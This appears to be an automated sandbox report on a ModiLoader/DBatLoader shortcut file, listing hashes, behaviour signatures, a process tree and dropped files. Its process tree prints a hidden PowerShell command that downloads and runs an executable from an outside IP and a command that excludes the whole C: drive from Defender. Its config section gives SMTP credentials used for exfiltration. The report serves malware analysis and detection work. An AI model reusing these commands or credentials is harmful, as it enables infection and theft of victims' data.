Analysis

  • max time kernel
    141s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/01/2025, 01:27

General

  • Target

    WB-ABS-240730-NEW.lnk

  • Size

    2KB

  • MD5

    fb1f82957abd04d7fc7821770bcc0ace

  • SHA1

    f1791fbc7da30766c1938336275447b791763c83

  • SHA256

    7dc2e910ac868412c616ef80d20c76e059c1962b023ca51d8c319185aa0bcbcb

  • SHA512

    a1550140664e9a99f4af64a1786c35d36d6ed8f4399391d6616bd7a00f070393982c668a18b2064c88aeee42f9aaf0f56460a79d1c05f00105e22317823a0820

Malware Config

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    techniqueqatar.com
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    TechFB2023$$$

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Modiloader family
  • ModiLoader Second Stage 61 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\WB-ABS-240730-NEW.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3412
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri http://147.124.216.113/king.exe -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\Admin\AppData\Local\Temp\file.exe' }"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1700
      • C:\Users\Admin\AppData\Local\Temp\file.exe
        "C:\Users\Admin\AppData\Local\Temp\file.exe"
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1612
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Public\PyemlwcwF.cmd" "
          4⤵
          • System Location Discovery: System Language Discovery
          PID:376
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4152
          • C:\Windows \SysWOW64\svchost.pif
            "C:\Windows \SysWOW64\svchost.pif"
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:3304
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\NEO.cmd
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:2560
              • C:\Windows\system32\extrac32.exe
                extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.pif"
                7⤵
                  PID:720
                • C:\Users\Public\xkn.pif
                  C:\\Users\\Public\\xkn.pif -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"
                  7⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2312
                • C:\Windows\system32\PING.EXE
                  ping 127.0.0.1 -n 10
                  7⤵
                  • System Network Configuration Discovery: Internet Connection Discovery
                  • Runs ping.exe
                  PID:832
          • C:\Users\Public\Libraries\wcwlmeyP.pif
            C:\Users\Public\Libraries\wcwlmeyP.pif
            4⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:4624

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      d5c4add1169a25f93e6e3e170cbda50a

      SHA1

      f87777d80fd8c00a1b3cffe62ca2f01c0cf9565e

      SHA256

      5f6d075dc6de9ef971aaa2fac4da6ced531c50a74022dc0640796bd23a67d15a

      SHA512

      979bd1368af84d3ef276a993e8956e5feaa661d0a0521d152dcb9689a59bb7baa1c3f022b32766fe9a4d1a5be3a2d557f633233db53f3451e2ddb7d9ec5f9ade

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j1x1s2am.1jg.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\file.exe

      Filesize

      834KB

      MD5

      f05fa97176c0cc592edec31ef6ba7fe1

      SHA1

      48449253771f5c27ab8ecf831e8cb77e94cca90b

      SHA256

      ebe09acfdf68ad7dc105449fa02e18831af08cb9646383b6f551633062f70dbc

      SHA512

      8694ed1dc954082b7db248b78436611e116b80a92f1ac31b693a7f26f1d3f50db80926299238656a4d37c912f19ff82262e06bf117dad465146ad7a52145672d

    • C:\Users\Public\Libraries\FX.cmd

      Filesize

      8KB

      MD5

      7821e3de3812e791cf3b223500d73bc9

      SHA1

      5e211b634ce77e6fee83ce8a5b8c9a37c8b81e1d

      SHA256

      3daa7f9eee129f61f7a452f7150ee21a1c4141586a37f37842b9c3bb53152a74

      SHA512

      6eae270065401626df97b73a255578bf27b4f4dea480954843823046ad95e40cf706c1a767c8765ef3ab48ea3a18498375614317ec00a9ef29a4dd21edbc5f26

    • C:\Users\Public\Libraries\NEO.cmd

      Filesize

      27KB

      MD5

      e24fa8fb365a89779b026772b9342af3

      SHA1

      b90de3c9f3093ca8badfaf6c98218b744087e8f9

      SHA256

      10d7b4ea056fc1037109fe6e6694849d145b0745faa9ae02957104a2834a14a0

      SHA512

      a32f7a29c4c8cc831a5057b8db31f79e7dedb9172ac9705da6a8da65384ed23827c3cccdb833562cdab63addd679341707a2b46bbc8c802845cbbbbb01771d10

    • C:\Users\Public\Libraries\wcwlmeyP.pif

      Filesize

      171KB

      MD5

      22331abcc9472cc9dc6f37faf333aa2c

      SHA1

      2a001c30ba79a19ceaf6a09c3567c70311760aa4

      SHA256

      bdfa725ec2a2c8ea5861d9b4c2f608e631a183fca7916c1e07a28b656cc8ec0c

      SHA512

      c7f5baad732424b975a426867d3d8b5424aa830aa172ed0ff0ef630070bf2b4213750e123a36d8c5a741e22d3999ca1d7e77c62d4b77d6295b20a38114b7843c

    • C:\Users\Public\PyemlwcwF.cmd

      Filesize

      11KB

      MD5

      f82aeb3b12f33250e404df6ec873dd1d

      SHA1

      bcf538f64457e8d19da89229479cafa9c4cce12f

      SHA256

      23b7417b47c7efb96fb7ce395e325dc831ab2ee03eadda59058d31bdbe9c1ea6

      SHA512

      6f9d6daeed78f45f0f83310b95f47cc0a96d1db1d7f6c2e2485d7a8ecb04fee9865eec3599fee2d67f3332f68a70059f1a6a40050b93ef44d55632c24d108977

    • C:\Users\Public\xkn.pif

      Filesize

      442KB

      MD5

      04029e121a0cfa5991749937dd22a1d9

      SHA1

      f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

      SHA256

      9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

      SHA512

      6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

    • C:\Windows \SysWOW64\netutils.dll

      Filesize

      116KB

      MD5

      a88976a70aed45f610a032e438a82a95

      SHA1

      ec20b0f0d6ccc848c8ffa857ab4e771672dfa4f2

      SHA256

      f3d5a6ebcd8cab3cc9a98488b23c2de740c6ef04e33ed317a3e2a047d53d169b

      SHA512

      ec77bb81b9e6de4af8a17eb26281d10fc9a05947d588f2ee3680ada67ed28118fbc9a2d0e63bf0ecc2a4c318555a4f27e72ecf1a530a506e9b4fbf5efdb4f676

    • C:\Windows \SysWOW64\svchost.pif

      Filesize

      94KB

      MD5

      869640d0a3f838694ab4dfea9e2f544d

      SHA1

      bdc42b280446ba53624ff23f314aadb861566832

      SHA256

      0db4d3ffdb96d13cf3b427af8be66d985728c55ae254e4b67d287797e4c0b323

      SHA512

      6e775cfb350415434b18427d5ff79b930ed3b0b3fc3466bc195a796c95661d4696f2d662dd0e020c3a6c3419c2734468b1d7546712ecec868d2bbfd2bc2468a7

    • memory/1612-90-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-54-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-36-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-35-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-34-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-31-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-41-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-53-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-75-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-89-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-88-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-87-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-85-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-84-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-83-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-81-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-80-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-79-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-78-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-77-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-74-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-73-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-72-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-71-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-70-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-67-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-65-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-62-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-61-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-60-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-59-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-58-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-33-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-86-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-56-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-55-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-82-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-42-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-76-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-52-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-69-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-68-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-51-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-66-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-50-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-64-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-63-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-49-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-48-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-57-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-40-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-47-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-39-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-46-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-45-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-38-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-44-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-43-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-37-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-32-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-26-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-27-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/1612-29-0x0000000000400000-0x00000000004D9000-memory.dmp

      Filesize

      868KB

    • memory/1700-2-0x00007FFCBBE73000-0x00007FFCBBE75000-memory.dmp

      Filesize

      8KB

    • memory/1700-12-0x000002395E610000-0x000002395E632000-memory.dmp

      Filesize

      136KB

    • memory/1700-13-0x00007FFCBBE70000-0x00007FFCBC931000-memory.dmp

      Filesize

      10.8MB

    • memory/1700-14-0x00007FFCBBE70000-0x00007FFCBC931000-memory.dmp

      Filesize

      10.8MB

    • memory/1700-25-0x00007FFCBBE70000-0x00007FFCBC931000-memory.dmp

      Filesize

      10.8MB

    • memory/4624-489-0x00000000248E0000-0x0000000024E84000-memory.dmp

      Filesize

      5.6MB

    • memory/4624-488-0x00000000223B0000-0x0000000022410000-memory.dmp

      Filesize

      384KB

    • memory/4624-490-0x0000000024EE0000-0x0000000024F3E000-memory.dmp

      Filesize

      376KB

    • memory/4624-1647-0x0000000025080000-0x00000000250E6000-memory.dmp

      Filesize

      408KB

    • memory/4624-1650-0x0000000026250000-0x00000000262A0000-memory.dmp

      Filesize

      320KB

    • memory/4624-1651-0x00000000262A0000-0x000000002633C000-memory.dmp

      Filesize

      624KB

    • memory/4624-1653-0x0000000026370000-0x0000000026402000-memory.dmp

      Filesize

      584KB

    • memory/4624-1654-0x0000000026590000-0x000000002659A000-memory.dmp

      Filesize

      40KB